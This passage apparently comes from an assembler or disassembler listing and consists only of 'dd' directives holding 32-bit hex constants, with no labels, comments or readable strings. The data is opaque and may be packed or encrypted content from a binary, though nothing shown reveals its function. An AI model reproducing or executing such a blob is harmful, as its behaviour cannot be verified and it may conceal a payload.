0FC0C8BA9h, 5C490036h dd 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h, 7222DCh dd 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h, 51C71021h dd 74288D30h, 6C030337h, 0E365FDCEh, 22261993h, 52005D08h dd 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h, 24400846h dd 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h, 832019DFh dd 79935145h, 0C0394B13h, 9216B691h, 60230400h, 0CF542846h dd 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h, 117865h dd 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h, 2FC640A1h dd 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh, 204C8h dd 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h, 0EC680050h dd 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh, 3785E9B1h dd 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h, 39076010h dd 50008402h, 56404D11h, 1E0A4218h, 8069EB68h, 1032C765h dd 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h, 57C1564h dd 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h, 59FFDE38h dd 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h, 26513C92h dd 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh, 1FF200Fh dd 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h, 438CA500h dd 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h, 66771203h dd 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h, 6C013Eh dd 29BCC951h, 78910868h, 3C960014h, 850D2833h, 253E3DEDh dd 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h, 0A5AF27CCh dd 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h, 0F1AFECB7h dd 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h, 808B8549h dd 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h, 38913922h dd 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h, 217E3B6Ch dd 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh, 82804AEFh dd 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h, 1DC7781Dh dd 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h, 5CB10F66h dd 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h, 0E4C2B5A0h dd 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh, 0A2B380FBh dd 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h, 74CBA8D9h dd 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh, 0CF7D6D08h dd 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h, 1A1822h dd 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h, 18320070h dd 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h, 42A900F5h dd 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h, 0ADD63BABh dd 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h, 7868CB77h dd 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h, 0B04ED74Bh dd 734CC811h, 53C30042h, 49D82A21h, 770740DEh, 3EBC5193h dd 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h, 81185740h dd 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h, 80E0F992h dd 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h, 9166D8A8h dd 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh, 0D57756A2h dd 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h, 90AD9344h dd 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h dd 27038C3h, 9678732Eh, 6B1EDD00h, 201018h, 0EB7C74A7h dd 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh dd 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h dd 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h dd 0ACB0A943h, 84258Ah dd 5419A457h, 4D68809h, 0BA442039h, 7826DC5Ah, 85CCC00h dd 97948C9Ch, 80960041h, 14819844h, 38000988h, 1C08119Ah dd 467FE8h, 109BB802h, 29A27436h, 8F32093Eh, 0C7A6219Ah dd 0F830C458h, 0E9006C3h, 0C605111h, 87B009A0h, 460410Eh dd 7171860h, 0A13600E8h, 8C1B0C02h, 1A00DC10h, 21CCB408h dd 0EAD40984h, 3A47519h, 201F4050h, 0D8F38088h, 23D0F0DFh dd 1100A081h, 4022E34h, 0E82F7C22h, 5446004Ch, 9C49932h dd 800516Ch, 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h dd 0BC026600h, 6239DC26h, 100900ACh, 52E00353h, 5A0E7933h dd 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h, 0A8086164h dd 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h dd 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h, 21F96050h dd 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h, 0BE2330h dd 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh dd 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh dd 3026295h, 4C70253Ch, 0A8D1409Ch, 50437089h, 2007657Eh dd 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h, 6DFC2212h dd 20462C00h, 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h dd 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h, 4707E817h dd 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch dd 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h, 821000Ch dd 32032480h, 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h dd 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h, 80112DBFh dd 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h, 0A00A1D55h dd 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h, 1FC1F927h dd 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h dd 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h dd 7C006F74h, 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h dd 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h dd 1C121489h, 2C48C424h, 22349107h, 4C17443Ch, 0F81754F1h dd 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h, 0BC80E5BDh dd 5390408h, 8E641C00h, 6A236547h, 5FA83E89h, 48605403h dd 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h, 46801Ch dd 88E02363h, 38C46494h, 1FEC7200h, 306548E2h, 8C5E00F0h dd 11660423h, 100D560h, 37842A93h, 0E500D14h, 4B4A4847h dd 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah, 454104ECh dd 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh, 0AF6E5A6Dh dd 74052F00h, 17A7877h, 61200176h, 606F6965h, 9160B998h dd 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh, 0E0315132h dd 71B09840h, 9EB0FFh, 0C8101101h, 30912009h, 44312200h dd 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh, 19F3F0F2h dd 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch, 741724DEh dd 30408C48h, 0ECD444BCh, 59040288h, 34121881h, 6420FA8Eh dd 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh dd 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h, 931500F4h dd 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h, 86B8E4h dd 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h, 0F820006Ch dd 0A4225027h, 24009B03h, 41659885h, 0F95018Fh, 728409E8h dd 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h, 7CA3F003h dd 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h, 70EC09E0h dd 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch, 4A96C06h dd 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h, 0B5A89048h dd 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch, 0B35A0350h dd 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h, 6020504h dd 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch, 0A403BEBAh dd 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh, 105C030Eh dd 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h, 1A6C3616h dd 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh, 0A024B1D7h dd 0C826E488h, 7A279924h, 20192801h, 6E8954D9h, 3B003160h dd 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h, 34483E22h dd 2F6892h, 2C36317Dh, 9009937h, 0C1399032h, 1EC4023Bh dd 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh, 37714B0h dd 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h, 785DD9BEh dd 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h, 4411003Fh dd 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h dd 3652400h, 0C4793310h, 4807519h, 0DC592CB1h, 12218022h dd 422486E0h, 0D200B088h, 5C809219h, 9300053h, 3C247214h dd 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh, 442000Ch dd 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h, 65193440h dd 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh, 366AC2Ah dd 41500998h, 8DC057F7h, 0D9F82808h, 49145900h, 9FB4298Ch dd 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h, 54C1D939h dd 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h, 32BF00E0h dd 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h, 1134F8h dd 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h, 0C9083F2h dd 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h, 3FB4C841h dd 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h, 5CE090B0h dd 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h, 94B059F2h dd 70C00C84h, 2390B199h, 995AC00h, 74329CDCh, 258C0261h dd 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h, 0D7011E41h dd 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h, 1800869Eh dd 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h, 8FEC978Dh dd 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh, 9CC8B047h dd 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h, 0FA1887ADh dd 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h, 0F22202E2h dd 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h, 0A290447Eh dd 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh dd 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh dd 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h, 5B89053h dd 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h, 27B83411h dd 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h, 2430CC12h dd 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h, 3BC0897Ah dd 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh, 1226810Ch dd 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh, 0FEFEF297h dd 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h, 107DA686h dd 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h, 914E483Ah dd 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h, 0BF08E429h dd 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h, 0A612009Ah dd 3430B025h, 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h dd 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h, 49646117h dd 446DD300h, 0F83046h, 69757243h, 617B63E4h, 0EB537E00h dd 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h, 1895B000h dd 27B6499Dh, 7AFC0124h dd 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h, 6F960382h dd 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h dd 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h, 287942B8h dd 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h, 4CE1416Eh dd 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h dd 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h dd 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh, 735200CEh dd 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h dd 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh, 459403A0h dd 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h dd 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah, 0FA730032h dd 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h dd 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h, 501A0926h dd 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h, 0D4770082h dd 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h, 90C6B864h dd 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h dd 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h dd 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh dd 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h dd 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h, 326700F2h dd 9143565Ch, 20E4D00h, 9A4F29D9h, 0C06E39A6h, 21D41300h dd 8723DB89h, 58A7A00h, 29747561h, 70B50740h, 80A00DE4h dd 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h, 7F9A0028h dd 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h, 458C02Eh dd 0A525D4h, 548FCC8Ah, 542849Ah, 9100B8E8h, 591B470Eh dd 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h, 24125628h dd 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h, 70476D75h dd 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah, 3D0A599Ch dd 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h, 0A500C571h dd 0C105C91Ch, 0F9D0075h, 0C4D42873h, 42EC49C3h, 889022EEh dd 0B4745900h, 0AC62E499h, 322100F2h, 10946BF3h, 0EA7404B1h dd 1E184CECh, 0A956F5F6h, 134900B5h, 6D0ECCC7h, 330114F2h dd 5622D687h, 0E0403141h, 149738Bh, 0A85D261Dh, 0E4DC3DA5h dd 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh, 8ACB0095h, 8B4428EAh dd 91E7658h, 0FCA4D5h, 0CC6B1E84h, 73F70DAh, 41256361h dd 0F22EC097h, 5D005051h, 93C077A2h, 0F4431923h, 219B0FE7h dd 4480587Ah, 696F76FCh, 24DF3E00h, 5288369Eh, 7E6C755Dh dd 339300ECh, 29E93F26h, 0A2309C41h, 9DF4085Ch, 62450F5Ah dd 0A5A3A7C8h, 0DFE8E51Ah, 53092084h, 8002574Ah, 0E65477DCh dd 12A7075Bh, 0FF825014h, 6C440580h, 0D5004967h, 252366EDh dd 38699FA0h, 9480B970h, 0A276B444h, 0D1FC426h, 0BC0315AEh dd 0D0D8EF5Ah, 2A2B78h, 1E324693h, 8FA6C241h, 6200CAE4h dd 0D3EEA4EBh, 2658664h, 57E08A63h, 0FD80D484h, 70412032h dd 2990A605h, 41C0BAACh, 9C9BA8h, 672A3EC8h, 1BB9D40Ch dd 26240AB8h, 2B033D6Dh, 0A3144EADh, 0EA5DA895h, 77F7958h dd 3250F10Dh, 88222031h, 0B41D2CD4h, 0F3E63CA1h, 60BC1207h dd 6D804795h, 3A644Fh, 0F3EC4CA8h, 3795CD77h, 2A1D7600h dd 1268C6DEh, 4878D8h, 412C5357h, 6C42AA43h, 7A00C4E4h dd 2D9A2592h, 1849F9h, 1459A361h, 5C6521BAh, 8E1D680Bh dd 0D025000Ah, 7D6FAB26h, 981A0C7Dh, 868B1A5h, 1FD6B701h dd 2552EB7Eh, 858630h, 18547078h, 0DE6E95C4h, 7568CE03h dd 0C00948F2h, 1557B8h, 203D3251h, 0D501299Ch, 1A55B70h dd 7000F4D7h, 6E48E010h, 70801h, 2C270C30h, 3C673847h dd 0A7408700h, 0E748C744h, 0E850E44Ch, 0F062EC54h, 0F872F46Ah dd 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh dd 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh, 2E100FAh, 12C90A31h dd 0D93D1AD1h, 0E92A0022h, 0F93AF132h, 0E84AE442h, 0F05AEC52h dd 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h dd 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h, 96ACF8h, 7616740Eh dd 327781Eh, 507C487Ah, 0BF90B87Eh, 3477071Ch, 80CD9D3Ah dd 27263513h, 7E0479Ch, 55362161h, 7CD150C9h, 37000FD8h dd 9A385E1Ch, 1DB79Dh, 1ECD9EC2h, 1FDF9FD5h, 0F300E974h dd 0F390987h, 15471D27h, 0B43A6730h, 0AEC74E14h, 6E2A5C39h dd 7A8978ACh, 7E9D7C95h, 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh dd 7EE14F6h, 1700E03Ah, 2E672847h, 0A70A3687h, 0DA57C740h dd 9B14839Dh, 0C652CAh, 303B1AE1h, 0D17FC9h, 0E0BDD99Fh dd 0DC723CCFh, 3D0F1C00h, 1D2E9D15h, 409E0037h, 549F4B1Eh dd 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h, 3E79870Ah, 0A2809697h dd 143F0E61h, 0D12400C9h, 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h dd 0CF00C325h, 872083FBh, 8CC0007h, 3A309C3Bh, 1D00649Dh dd 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh, 0A603A03Ch, 324FB992h dd 0E6BC39h, 3118C3EEh, 3EFE971Eh, 5401488Eh, 73495C0Fh dd 0C492F924h, 4600CA10h, 1CFC7E0Eh, 343202h, 761D589Dh dd 8C1E869Eh, 1F949F0Eh, 87F980EEh, 3083302h, 21471827h dd 0F0017267h, 93C789A7h, 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h dd 3465E1h, 0D1ABC98Dh, 0E0BFD9B7h, 72351900h, 7627741Fh dd 6278014Ah, 3F368349h, 0D0C9C9B5h, 93000ED7h, 0A243B237h dd 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h dd 69F12FE1h, 0EF3F0h, 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h dd 93283E0Ah, 98A3036Bh, 0D3C3A1B3h, 11E0DC88h, 0AA393F00h dd 850C62D4h, 498000C8h, 12A71DCCh, 5E07C735h, 998767E7h dd 0FC1BF90h, 0C8533B31h, 0CF19ABC8h, 0D9338E74h, 7649D840h dd 7F785400h, 0DF7C947Ah, 1CF2007Eh, 9D3C3406h, 52001D4Ch dd 5E1E589Eh, 901F649Fh, 7873762Bh, 0F4915483h, 0F8BCFCB3h dd 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch, 0E76FC769h dd 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h, 3604003Ch dd 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h, 0C3146C81h dd 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h, 39BA00B3h dd 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h, 76F20074h dd 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh, 27B7398Eh dd 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h, 0AF3C051Ch dd 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h, 0E83CC024h dd 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h, 0A33A9333h dd 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh, 6093B0E4h dd 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h dd 0E40535h, 920FE80Bh, 7C2C7A74h, 3B49361Dh, 4E543F8Eh dd 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h dd 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h, 9E758473h dd 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh dd 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh, 9F1E1FF3h dd 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh, 80F61FFFh dd 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh dd 56404ECFh, 661A0FD6h dd 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h dd 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h dd 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh dd 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h dd 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh dd 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh dd 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h dd 40260F4h, 3A0C3B39h, 1C00143Ah, 2C3D243Ch, 3F77343Eh dd 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh dd 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h dd 4E87AAE4h, 487FC20h, 195B03Ch, 671C4714h, 602C8424h dd 253CC93h, 7CFEC77Fh, 40E884E7h, 7ED492A3h, 0CE74BC72h dd 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h dd 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh dd 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh dd 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh, 0A72CE427h dd 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch dd 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h dd 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch dd 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh dd 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch, 0F83093F0h dd 8C99F0F7h, 130F6010h, 612501D4h, 51347882h, 0F96890F3h dd 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h, 0C05DB003h dd 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh, 83A0431h dd 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h, 6EA7586Ch dd 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h dd 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h, 0CA30008h dd 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h, 60E5015Ch dd 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah dd 0D22C4862h, 0E0F82400h, 48045D33h, 3C00D7ACh, 0B2142E10h dd 960E1C9Fh, 214F1720h, 60CF5C22h, 68D164C9h, 70E16CD9h dd 78F00471h, 0AB7C07CBh, 12BC8732h, 2249C0E7h, 7C2426C8h dd 0DC00D87Eh, 3974ECE6h, 4D3A1434h, 200B1018h, 5A8E243Dh dd 0FDFF2C20h, 4873029Fh, 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch dd 887E847Eh, 904AE0B8h, 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h dd 0E0CC4FD8h, 4CE472CFh, 782E5CE8h, 592400CCh, 0B35C9228h dd 38F47F13h, 20B88F01h, 0DA2474BAh, 78CC927Ch, 7C8C7A88h dd 98C3A090h, 0A01E0E0Fh, 0B840A4CFh, 5C61D8C9h, 488DE458h dd 0C0FDB058h, 0E4140036h, 0ED3CE834h, 44095670h, 4F848F4h dd 49D25094h, 419A4A58h, 0E2F1C688h, 0CDF8F9F9h, 718001B2h dd 56775938h, 0FC6D7158h, 4104623Bh, 6ED16A40h, 976BEA0h dd 7EF17AE9h, 2C869D61h, 818E259Fh, 582896A1h, 0CE605065h dd 3093CA6h, 1A630A02h, 0A2607083h, 0DB0092A8h, 4A904926h dd 0AD9AFD1h, 320AE0E4h, 0A748009Fh, 81331C50h, 0F9B9D07h dd 36A034B5h, 4F274Ah, 1ED35B45h, 50B0D2ABh, 0EF007EE0h dd 3A0E215Dh, 388B3B65h, 9F00A72Eh, 4B0216D8h, 273347F2h dd 0F08282E6h, 0DCC7BCh, 713905E1h, 0B5D19CC9h, 64C2D901h dd 3F8EAAEh, 0E41E3AF4h, 2B0E0058h, 704E6B3Bh, 0CF00788Eh dd 21B30BA2h, 613C7150h, 0D8A5437Fh, 5DDE302Eh, 76B07403h dd 0C3CE98EAh, 0C269C347h, 7ACD6077h, 9D7C2696h, 0C84D0B16h dd 0C0EB6084h, 72F2512h, 47780203h, 989B6787h, 12AEFEh dd 940CF188h, 30050708h, 0D824A509h, 805489E0h, 0CF3ABD28h dd 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh, 0FB4FEC00h, 26330A83h dd 0A25F0093h, 86C6496Dh, 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h dd 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h, 9FE51EE0h, 0F017EBh dd 3403876Fh, 2A0F2421h, 0C45385h, 0F85056A0h, 1C960055h dd 0CE4F6712h, 8272CF79h, 0B100A874h, 1A62BAC9h, 2C640h dd 9224B35h, 0A4216618h, 11360800h, 6A24CCC9h, 3739000Bh dd 3B343A19h, 58733C3Dh, 7E3E6B04h, 3880873Fh, 707B525h dd 0EBE7DD0Ah, 223850E1h, 610F2BC9h, 5D4DD95Dh, 0F17FE940h dd 3DB0F9A1h, 0FC288C24h, 0B12E2F6h, 2A3B223Ah, 473D2580h dd 1C1F6424h, 52563284h, 0EC6D8E00h, 7BF073h, 0C0F880F4h dd 0C85D9EBAh, 0D02EA000h, 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h dd 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h, 10B00008h, 0BA18B274h dd 20005DB4h, 0B8282EB6h, 0F64B3097h, 0BCA50038h, 48BED240h dd 500FC0E9h, 0C058C274h, 0C6605DC4h, 0C868002Eh, 0CA4B7097h dd 0CC01A578h, 88CED280h, 5761D0E9h, 0BA98DCh, 0D6A05CD4h dd 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h dd 3C010BEEh, 0D910DE91h, 2CFC7318h, 2EE10028h, 0E54067E2h dd 0E44CCC48h, 0B960092Dh, 97A980E6h, 0EE83378h, 0EA90F288h dd 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h dd 0AA3CD805h, 9D82E43Fh, 0EB75602Eh, 99FA00ABh, 24E920F8h dd 210B2CF1h, 8B38F9F2h, 500990ACh, 1FC4009Eh, 8960925Ch dd 4012806h, 1102214Ah, 4FF0FF3Eh, 780A0070h, 4E5B7A57h dd 0FA16095Fh, 5001A1BBh, 97C9893Fh, 0C60434h, 0C32DAE1h dd 88609020h, 300B0F00h, 48493327h, 0EA3B00D6h, 0E8ADF2Ch dd 13F68D35h, 67A8A707h, 86317247h, 9BE49187h, 0D3A603C4h dd 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h, 424C0B8h, 0E4937h dd 3C233BBEh, 4102672Dh, 0E74BC70Eh, 8E5F4E55h, 73CF69h dd 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h, 0F7C0D1B3h, 